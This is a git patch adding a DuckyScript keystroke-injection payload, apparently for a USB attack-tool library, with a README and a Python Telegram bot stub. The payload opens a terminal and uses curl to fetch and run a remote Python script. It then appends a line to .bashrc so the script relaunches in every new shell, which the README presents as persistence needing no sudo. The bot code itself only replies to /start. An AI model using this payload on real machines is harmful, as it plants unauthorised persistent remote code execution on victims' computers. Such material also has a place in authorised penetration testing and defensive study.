From 8f8e7ebadaa9bfd04a4bec8585de266845ea09f3 Mon Sep 17 00:00:00 2001 From: Aleff Date: Thu, 3 Aug 2023 10:26:47 +0200 Subject: [PATCH 1/2] Telegram Persistent Connection Linux --- .../payload.txt | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt diff --git a/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt b/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt new file mode 100644 index 0000000..8e3b3cd --- /dev/null +++ b/payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt @@ -0,0 +1,25 @@ +REM ####################################################### +REM # | +REM # Title : Telegram Persistent Connection Linux | +REM # Author : Aleff | +REM # Version : 1.0 | +REM # Category : Execution | +REM # Target : Linux | +REM # | +REM ####################################################### + +REM Requirements: +REM - Internet Connection + +REM Here you must put your own file link +DEFINE #PYTHON-SCRIPT-LINK https://www.example.com/connection.py + +DELAY 1000 +CTRL-ALT t +DELAY 2000 + +STRINGLN_BLOCK + curl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo "if ! pgrep -f connection.py >/dev/null; then + python3 connection.py & + fi" >> .bashrc; exit +END_STRINGLN From 2d8a4f6dc32c30c56185d81d667c72478ee1622c Mon Sep 17 00:00:00 2001 From: aleff-github Date: Thu, 3 Aug 2023 10:28:02 +0200 Subject: [PATCH 2/2] README --- .../README.md | 54 +++++++++++++++++++ .../connection.py | 11 ++++ 2 files changed, 65 insertions(+) create mode 100644 payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md create mode 100644 payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py diff --git a/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md b/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md new file mode 100644 index 0000000..e6152bd --- /dev/null +++ b/payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md @@ -0,0 +1,54 @@ +# Telegram Persistent Connection + +A script used to configure a persistent connection on a Linux computer trough a pre-configured Telegram Bot. + +**Category**: Execution + +## Description + +A script used to configure a persistent connesction on a Linux computer trough a pre-configured Telegram Bot. + +Opens a shell, download the python script trough the `curl` command outputing the file into a `connection.py` file using `-o` option, then run it and set the run of the program as a default command every times a shell is runned. + +This payload is intended as a basic reference point for developing payloads on a persistent connection Telegram based. + +## Getting Started + +### Dependencies + +* Internet Connection + +### Settings + +- **Telegram Bot**: You should configure a bot trough Telegram. If you don't know how to do this, follow the guide about [Telegram Bot guide](#telegram-bot-guide). When you have create your personal Telegram Bot you should get the Telegram bot ID that you must put into the variable BOT_TOKEN at line 4 in the Python file as you can read in the line 3 comment. +- **Python Script**: Download, edit as you want and upload the python script somewhere you want and put the file link into the file payload.txt replacing the example link. +- **Persistence**: I preferred to create a mechanism that would allow you to create *some* persistence, not quite total, but you can have a high level of persistence. In this specific case, no permissions are needed, because it is sufficient to insert some lines in the .bashrc file that allow to keep the connection to Telegram open from the first time the user opens the terminal. Most of other mechanism needs the sudo permissions. + +### Telegram Bot Guide + +1. Search for `@botfather` in Telegram. +2. Start a conversation with BotFather by clicking on the Start button. +3. Type /newbot, and follow the prompts to set up a new bot. +4. Select and copy the Bot Token that you can see after the registration and past it into the `BOT_TOKEN` python variable that you find in the `connection.py` file at line 3. + +## Credits + +

Aleff :octocat:

+
+ + + + + +
+ + + +
Github +
+ + + +
Linkedin +
+
diff --git a/payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py b/payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py new file mode 100644 index 0000000..0c46dab --- /dev/null +++ b/payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py @@ -0,0 +1,11 @@ +from telebot import TeleBot + +# Set here the Telegram bot token +BOT_TOKEN = "" +bot = TeleBot(BOT_TOKEN) + +@bot.message_handler(commands=['start']) +def send_welcome(message): + bot.reply_to(message, "Ok it works") + +bot.infinity_polling()